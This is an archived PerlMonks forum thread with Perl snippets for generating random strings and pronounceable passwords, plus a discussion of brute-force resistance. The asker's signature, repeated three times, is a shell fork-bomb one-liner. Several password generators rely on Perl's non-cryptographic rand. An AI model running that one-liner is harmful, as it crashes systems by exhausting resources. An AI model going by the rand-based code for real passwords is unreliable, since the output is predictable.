Beefy Boxes and Bandwidth Generously Provided by pair Networks
P is for Practical

Random string generator

by ibanix (Hermit)
on Feb 06, 2003 at 01:43 UTC ( [id://233023]=perlquestion: print w/replies, xml ) Need Help??

ibanix has asked for the wisdom of the Perl Monks concerning the following question:

Hi monks,

I've got the need to generate a psuedo-random 8-character string. This is what I coded up:
my $string; for (0..7) { $string .= chr( int(rand(25) + 65) ); } print "$string\n";
This works, but I suspect it isn't the best way to do it. As you can tell, it only returns uppercase letters ("A" .. "Z"). Is there a better way to go about this?

Many thanks,

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

Replies are listed 'Best First'.
Re: Random string generator
by Paladin (Vicar) on Feb 06, 2003 at 01:53 UTC
    my @chars = ("A".."Z", "a".."z"); my $string; $string .= $chars[rand @chars] for 1..8;
    Fill @chars with what ever characters you want to be valid in your string.
      This is really nifty. Paladin++

      I have to spell this out; perhaps other monks will appreciate the explination. Please feel free to correct me.

      rand @chars takes @chars in scalar context, that is, the length of the array holding our characterset. So rand returns a value somewhere in the array, and that becomes the index for the array lookup.

      I keep forgetting you can do cool things like this by implied scalar or array context.


      $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
        Don't forget to add that using a floating point number as an array index, does an implied int on the value. In other words: it truncates towards zero. $a[5.9] is the same array element as $a[5], not $a[6].

        A very explicit version would have been:

        $chars[int rand scalar @chars]
        which does exactly the same thing as
        $chars[rand @chars]
        The net effect is that all array indexes have the same change of being chosen.
Re: Random string generator
by BrowserUk (Patriarch) on Feb 06, 2003 at 01:55 UTC

    This is the one I use. I wouldn't say it was necessarilly better. It's more flexible though.

    sub rndStr{ join'', @_[ map{ rand @_ } 1 .. shift ] } print rndStr 8, 'A'..'Z'; VUXGFLAV print rndStr 8, 'a'..'z'; jplojhxe print rndStr 8, 'a'..'z', 0..9; recv1wym print rndStr 8, 'a'..'z', 0..9; 434d0wwo

    Examine what is said, not who speaks.

    The 7th Rule of perl club is -- pearl clubs are easily damaged. Use a diamond club instead.

      I like your function. But I'd call it differently...

      print rndStr 12, 'A'..'Z', 0..9, 'a'..'z', '-', '_', '.'; print "\n";

      People who don't memorise passwords would think that punctuation marks would make a password harder to remember, but they don't. kmJPJ-wLKA is no worse to remember than QDBLhUCcjH, and provided the punctuation is included at random (rather than forced to be there), security is enhanced.

      Now, the other poster's alternating-consonant-vowel passwords are even easier, but those are less secure. There are ways to fix that up a little, though, if you're willing to sacrifice uniform length, without a horrible impact on ease of remembering... I'll post that separately, though.


        It's a good point.

        Though I have to say that I wasn't responding to a "passwords generator" question, but a random string generator question. I tend to use it for generating test data and the like.

        I never used a random password generator, I (like many people) have my methods of arriving at passwords. I won't describe it, but essentially there is a pattern to them. Hopefully, so long as I keep the pattern to myself, it shouldn't compromise me too much.

        Examine what is said, not who speaks.

        The 7th Rule of perl club is -- pearl clubs are easily damaged. Use a diamond club instead.

Re: Random string generator
by tachyon (Chancellor) on Feb 06, 2003 at 01:58 UTC

    You might like to look at The Sort-of-pronounceable-password generator which is a Perl script that generates easy-to-remember passwords. The following variables can be specified: the number of passwords, the length of the passwords, the dictionary file, the length of the chunks of words that are used to construct the password, and the character to separate the passwords in the output




      Ah, but I'm not generating passwords. Thank you, nonetheless!

      $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
Re: Random string generator
by tachyon (Chancellor) on Feb 06, 2003 at 02:02 UTC

    Something like this produces pseudo-random vaguely memorable char sequences. For default passwords I just tend to pick one that is easy to remember from a dozen options:

    #!/usr/bin/perl; srand( time() ^ ($$ + ($$ << 15)) ); my @v = qw ( a e i o u y ); my @c = qw ( b c d f g h j k l m n p q r s t v w x z ); for (1..12) { my ($flip, $str) = (0,''); $str .= ($flip++ % 2) ? $v[rand(6)] : $c[rand(20)] for 1 .. 9; $str =~ s/(....)/$1 . int rand(10)/e; $str = ucfirst $str if rand() > 0.5; print "$str\n"; } __DATA__ Fuco1wipon name5jeweb Vute2tecis Paco8podec wopu3wasig lune2fosuk Same2jamek Qeqy0nebit rizi5muwuj Qone7tatat Daho7cejab fesi2jideq

    This algorithm produces 2*20*6*20*6*10*20*6*20*6*20 or around 82 billion permutations so it is quite feasible to brute force it though quite time consuming. 26**8 is around 208 billion so there is similar (order of magnitude) complexity to a random 8 char same case alphabetic string but far more memorability.




      This algorithm produces 2*20*6*20*6*10*20*6*20*6*20 or around 82 billion permutations so it is quite feasible to brute force it though quite time consuming.

      If all passwords don't have to be exactly the same length (just within a range), it's possible to modify your algorithm slightly, keeping the same principle, by allowing a vowel to be a dipthong and/or allowing a consonant to be a blend, at random. This will throw off the odd-even pattern, while still leaving something more likely to be pronounceable than an entirely random string.

      srand( time() ^ ($$ + ($$ << 15)) ); my @v = ( 'a', 'e', 'i', 'o', 'u', 'y'); #, 'ai', 'ou', 'oo', 'ee', 'oi'); my @c = ( 'b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'z'); $nc = @c; # Number of consonants excluding blends. # (Some of the blends are not good endings.) @c = (@c, 'bl', 'br', 'tr', 'st', 'dr', 'th', 'ch', 'sh'); my @d = (0..9, '_', '-', '.'); my $length = 10; # This is a minimum. my ($flip, $str) = (0,''); for ( 1 .. ($length - 1) ) { $flip++; if ($flip%2) { if ($flip==$length-1) { $str .= $c[rand($nc)]; } else { $str .= $c[rand(@c)]; } } else { $str .= $v[rand(@v)]; } } my $re; my $digitpos = rand(5)+3; foreach (1..$digitpos) { $re .= "."; } $str =~ s/($re)/$1 . $d[rand(@d)]/e; $str = ucfirst $str; print "$str\n";


      • Vedos5titem
      • Rif7yfadrom
      • Cajy1dugec
      • Kunory7trir
      • Zih4ychusyv
      • Meb9rishystil
      • Brucuce4chyv
      • Nob0achuchew
      • Buq6ehiqor
      • Lybru-bexuk

      So the question is, how secure are these passwords with that modification? Well, if the person doing the brute-forcing knows exactly how you generate them, or has seen a good number of them, they're not much better, because there's not enough variation. Adding in a bunch of different blends and dipthongs would probably help a bit. What would help more would be using several different algorithms and alternating between them at random -- so that one time you might get one like the above, and another time you might get "ad-hoc(Variable)17" or "e.g.{Sputnik}82" and yet another time you might get "f0rtu1t10us_gr33nh0us3" or "m4rg1n_bl4sph3my". (Update: those patterns are not as hard to brute-force as the one above, but they were intended only as quick examples.)

      Any one of those patterns could be brute-forced, but trying to code a general case that takes in all of them could be just about as bad as doing each one of them in turn; with a dozen different such patterns, that could get prohibitive. If you want to be sure that they have to do them in turn (rather than coding a general case of some kind), throw in one pattern that generates fairly lengthy stuff like "running-implicit-tomorrow-wet-Howard" and "chortle-wax-Susan-dromedary-green". That makes for a very nice pessimal case when the algorithm trying to break it also has to deal with the possibilities inherent in the other patterns. Oh, and make sure your wordlist is large and undisclosed. (The wordlist can be disclosed if it is seriously large, e.g., if you scan in the OED.)

      Of course, if they can get what they want by compromising only any one password, then you have to make sure each and every one of the patterns has a certain minimum of resistance to brute-forcing. Your exact threshhold will depend on your circumstances.


        You can do the maths easy enough. Say you have a dictionary of 10**5 words and use dict_word[0..9] as the pattern you get 10**5*10 == 10**6 == not enough permutations that should be memorable. If you use dict_word[0..9]dict_word instead you then get a respectable 10**11 or 100 billion permutations which is the same conmplexity as what was presented. The rationale for \w{4}\d\w{5} was to make two reasonably easy to remember strings separated by an easy to remeber digit. By adding [-_.] to the mix you only up the permutations to 106 billion (81*10**9*13/10) from 81 == small change. If you add the digit in position 5 or 6 randomly you up the permutations from 82 to 164 billion which is still a relatively small change. Using dipthongs instead of single consonants still only adds ((consonants+dipthongs)/consonants))**5 units of complexity.

        Extra length is a good way to increase conplexity as each extra alphanumeric adds roughly one order of magnitude of complexity. Exactly one order of magnitude for digits, a little more for alphabetics where the set > 10.

        By far the best protection from brute forcing is to protect the pwd database with as little as a 1 second retry timout as 82*10**9 seconds is roughly 2100 years so your attacker should be dead long before they crack a pwd.

        Like all security it is simply a matter of how high you want to raise the bar, the idea being for it not to be worth the time expended for the result obtained.




Re: Random string generator
by Mr_Person (Hermit) on Feb 06, 2003 at 02:47 UTC
      Since people might confuse 'l' and '1' (did you ;-) ?), O and 0, when jotting passwords down, i use the following char set for string::random :
      use String::Random; my $pattern = new String::Random; my $size = 8; # don't use i,I,1,l,L,0,O, etc.. $pattern->{'A'} = [ 'A'..'H', 'J', 'K', 'M', 'N', 'P'..'Z', 'a'..'h', +'j', 'k', 'm', 'n', 'p'..'z', '2'..'9' ]; print $pattern->randpattern('A' x $size);
Re: Random string generator
by Coruscate (Sexton) on Feb 06, 2003 at 02:03 UTC

    # @chars contains characters to get random string from my @chars = (a..z, A..Z, 0..9); my $string = join '', map { @chars[rand @chars] } 1 .. 8; print $string;

    If the above content is missing any vital points or you feel that any of the information is misleading, incorrect or irrelevant, please feel free to downvote the post. At the same time, reply to this node or /msg me to tell me what is wrong with the post, so that I may update the node to the best of my ability. If you do not inform me as to why the post deserved a downvote, your vote does not have any significance and will be disregarded.

Re: Random string generator
by t'mo (Pilgrim) on Feb 06, 2003 at 15:58 UTC

    Thanks to jmcnamara, we have this example:

    perl -le 'print map{(a..z)[rand 26]} 0..rand 10'

    which I have extended thusly:

    perl -le 'print map{(a..z,A..Z,0..9)[rand 62]} 0..7'

    and which you could extend as needed.

      For use in a function which is much easier to remember.
      print randStr(8)."\n"; sub randStr { return join('', map{('a'..'z','A'..'Z',0..9)[rand 62]} 0..shift); }
Re: Random string generator
by Anonymous Monk on Feb 06, 2003 at 23:12 UTC
    Try This (String::Random):
    I found this module on CPAN that looks to be quite useful
    and simple to use.

    #!/usr/bin/perl -w use strict; use String::Random; my $string = new String::Random; print $string->randregex('\d\d\d\d\d'); # Prints 5 random digits print "\n"; ##just to separate the 2 output lines print $string->randpattern("....."); # Prints 5 random printable char +acters

    20030208 Edit by Corion: Removed red, added code tags.

Log In?

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: perlquestion [id://233023]
Approved by Coruscate
Front-paged by Coruscate
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others having a coffee break in the Monastery: (7)
As of 2024-04-17 11:50 GMT
Find Nodes?
    Voting Booth?

    No recent polls found